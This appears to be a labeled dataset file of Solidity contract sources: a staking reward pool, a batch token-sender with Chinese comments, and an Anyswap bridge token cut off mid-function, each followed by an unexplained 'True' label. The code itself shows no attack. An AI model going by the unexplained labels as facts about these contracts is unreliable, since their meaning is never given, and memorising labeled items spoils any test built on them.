IERC20 public wev = IERC20(0xFB9fc4CCC2538172fe76F7dC231a6969950E57c8); //WEV
IERC20 public token = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); //WBTC
uint256 public constant DURATION = 7 days;
uint256 public initreward = 210000*1e18;
uint256 public starttime = 1600603200; //utc+0 September 20, 2020 @ 12:00:00 pm
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor () public LPTokenWrapper(token) {}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkhalve checkStart{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
wev.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
modifier checkhalve(){
if (block.timestamp >= periodFinish) {
initreward = initreward.mul(50).div(100);
IWEV(address(wev)).mint(address(this),initreward);
rewardRate = initreward.div(DURATION);
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(initreward);
}
_;
}
modifier checkStart(){
require(block.timestamp > starttime,"not start");
_;
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
IWEV(address(wev)).mint(address(this),reward);
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-05-08
*/
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/TokenSender.sol
pragma solidity ^0.8.0;
contract TokenSender is Ownable {
// 小费地址，转账收取的小费均转到该地址
address payable public feeAddress;
// 单次转账小费，单位：wei
uint256 public fee;
// eth转账总额统计
uint256 public ethTotal;
// token转账总统计
mapping(IERC20 => uint256) public tokenTotal;
// 设置小费地址
function setRewardAddress(address payable _address) public onlyOwner {
feeAddress = _address;
}
// 设置小费
function setFee(uint256 _fee) public onlyOwner {
fee = _fee;
}
// eth批量转账
function ethSend(
address payable[] calldata _addressList,
uint256[] calldata _mountList
) public payable {
require(
_addressList.length > 0 &&
_mountList.length > 0 &&
_addressList.length == _mountList.length,
"pls input address list"
);
// 单位：wei
uint256 transferTotal = 0;
// 计算本次批量转账需要的总的eth
for (uint256 i = 0; i < _mountList.length; i++) {
// 单位：wei
transferTotal += _mountList[i];
}
uint256 total = transferTotal + fee;
// 本次交易发送的eth代币数量要超过手续费+转账费
require(msg.value >= total, "TokenSender: Insufficient balance");
// eth转账总额统计
ethTotal += transferTotal;
// 开始批量转账
for (uint256 i = 0; i < _addressList.length; i++) {
_addressList[i].transfer(_mountList[i]);
}
// 剩余的eth转账到小费地址
uint256 balance = msg.value - transferTotal;
if (balance > 0) {
feeAddress.transfer(balance);
}
}
// token批量转账
function tokenSend(
IERC20 tokenAddress,
address[] calldata _addressList,
uint256[] calldata _mountList
) public payable {
require(
_addressList.length > 0 &&
_mountList.length > 0 &&
_addressList.length == _mountList.length,
"pls input address list"
);
require(msg.value >= fee, "pls pay fee");
// 计算本次批量转账需要的总的token数量
uint256 transferTotal = 0;
for (uint256 i = 0; i < _mountList.length; i++) {
// 单位：wei
transferTotal += _mountList[i];
}
// 首先，将足够数量的token转账到合约[该方法需要msg.sender先approval]
tokenAddress.transferFrom(
address(msg.sender),
address(this),
transferTotal
);
// 如果存在小费就转账到小费地址
if (msg.value > 0) {
feeAddress.transfer(msg.value);
}
// 开始批量转账
for (uint256 i = 0; i < _addressList.length; i++) {
tokenAddress.transfer(_addressList[i], _mountList[i]);
}
// token 转账总额统计
tokenTotal[tokenAddress] += transferTotal;
}
}
|
True
|
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102
] |
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/**
*Submitted for verification at Etherscan.io on 2022-04-07
*/
/**
*Submitted for verification at snowtrace.io on 2022-04-07
*/
/**
*Submitted for verification at moonbeam.moonscan.io on 2022-03-18
*/
/**
*Submitted for verification at FtmScan.com on 2022-03-18
*/
/**
*Submitted for verification at BscScan.com on 2022-03-17
*/
/**
*Submitted for verification at BscScan.com on 2022-03-15
*/
/**
*Submitted for verification at BscScan.com on 2022-03-11
*/
/**
*Submitted for verification at BscScan.com on 2022-03-09
*/
/**
*Submitted for verification at BscScan.com on 2022-02-11
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface of the ERC2612 standard as defined in the EIP.
*
* Adds the {permit} method, which can be used to change one's
* {IERC20-allowance} without having to send a transaction, by signing a
* message. This allows users to spend tokens without having to hold Ether.
*
* See https://eips.ethereum.org/EIPS/eip-2612.
*/
interface IERC2612 {
/**
* @dev Returns the current ERC2612 nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// @dev Wrapped ERC-20 v10 (AnyswapV3ERC20) is an ERC-20 ERC-20 wrapper. You can `deposit` ERC-20 and obtain an AnyswapV3ERC20 balance which can then be operated as an ERC-20 token. You can
/// `withdraw` ERC-20 from AnyswapV3ERC20, which will then burn AnyswapV3ERC20 token in your wallet. The amount of AnyswapV3ERC20 token in any wallet is always identical to the
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// A transfer to `address(0)` triggers an ERC-20 withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = newVault;
pendingVault = newVault;
emit LogChangeVault(vault, pendingVault, block.timestamp);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
/// @dev Records current ERC2612 nonce for account. This value must be included whenever signature is generated for {permit}.
/// Every successful call to {permit} increases account's nonce by one. This prevents signature from being used multiple times.
mapping (address => uint256) public override nonces;
/// @dev Records number of AnyswapV3ERC20 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}.
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// @dev Sets `value` as allowance of `spender` account over `owner` account's AnyswapV3ERC20 token, given `owner` account's signed approval.
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - `v`, `r` and `s` must be valid `secp256k1` signature from `owner` account over EIP712-formatted function arguments.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
/// For more information on signature format, see https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP section].
/// AnyswapV3ERC20 token implementation adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(
abi.encode(
PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
